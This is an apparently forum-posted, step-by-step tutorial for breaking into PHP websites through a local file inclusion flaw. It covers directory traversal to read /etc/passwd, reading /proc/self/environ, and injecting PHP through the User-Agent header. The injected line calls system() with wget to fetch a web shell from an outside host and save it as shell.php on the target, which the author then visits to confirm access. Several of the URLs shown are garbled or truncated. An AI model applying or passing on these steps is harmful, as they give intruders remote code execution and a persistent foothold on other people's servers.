lfi (local file inclusion)
lfi (local file inclusion)
1 introduction

in this tutorial i show you how to get a shell on websites using local file inclusion vulnerabilities and
injection malicious code in proc/self/environ.is a step by step tutorial.

2 finding lfi

- now we are going to find a local file inclusion vulnerable website.so we found our target,lets check it.

code:
code: (select all)
www.website.com/view.php?page=contact.php



- now lets replace contact.php with ../ so the url will become

code:
www.website.com/view.php?page=../



and we got an error

code:
warning: include(../)
[function.include]: failed to open stream: no such file or directory in
/home/sirgod/public_html/website.com/view.php on line 1337



big chances to have a local file inclusion vulnerability.lets go to next step.

- now lets check for etc/passwd to see the if is local file inclusion vulnerable.lets make a request :

code:
http://www.website.com/view.php?page.../../etc/passwd



we got error and no etc/passwd file

code:
warning: include(../)
[function.include]: failed to open stream: no such file or directory in
/home/sirgod/public_html/website.com/view.php on line 1337



so we go more directories up

code:
http://www.website.com/view.php?page.../../etc/passwd



we succesfully included the etc/passwd file.

code:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0perator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:ftp
user:/var/ftp:/sbin/nologin nobody:x:99:99:nobody:/:/sbin/nologin



3 checking if proc/self/environ is accessible

- now lets see if proc/self/environ is accessible.we replace etc/passwd with proc/self/environ

code:
http://www.website.com/view.php?page...c/self/environ



if you get something like

code:
document_root=/home/sirgod/public_html
gateway_interface=cgi/1.1 http_accept=text/html, application/xml;q=0.9,
application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1
http_cookie=phpsessid=134cc7261b341231b9594844ac2a d7ac
http_host=www.website.com
http_referer=http://www.website.com/index.php?view=../../../../../../etc/passwd
http_user_agent=opera/9.80 (windows nt 5.1; u; en) presto/2.2.15
version/10.00 path=/bin:/usr/bin
query_string=view=..%2f..%2f..%2f..%2f..%2f..%2fpr oc%2fself%2fenviron
redirect_status=200 remote_addr=6x.1xx.4x.1xx remote_port=35665
request_method=get
request_uri=/index.php?view=..%2f..%2f..%2f..%2f..%2f..%2fproc% 2fself%2fenviron
script_filename=/home/sirgod/public_html/index.php
script_name=/index.php server_addr=1xx.1xx.1xx.6x
[email protected] server_name=www.website.com
server_port=80 server_protocol=http/1.0 server_signature=

apache/1.3.37 (unix) mod_ssl/2.2.11 openssl/0.9.8i dav/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 frontpage/5.0.2.2635 server
at www.website.com port 80



proc/self/environ is accessible.if you got a blank page,an error proc/self/environ is not accessible or the os is freebsd.

4 injecting malicious code

- now lets inject our malicious code in proc/self/environ.how we can do that?we can inject our code in user-agent http header.
use tamper data addon for firefox to change the user-agent.start tamper data in firefox and request the url :

code:
http://www.website.com/view.php?page...c/self/environ



choose tamper and in user-agent filed write the following code :

code:
<?system(wget http://site.com/shells/3ca.txt -o shell.php);?>


{the unknown: the link of the shell used has expired, use the link i posted at the end of this thread}

then submit the request.

our command will be executed and will save it as shell.php in the
website directory) through system(), and our shell will be created.if dont work,try exec() because system() can be disabled on the webserver from php.ini.

5 access our shell

- now lets check if our malicous code was successfully injected.lets check if the shell is present.

code:
www.website.com/shell.php



our shell is there.injection was succesfully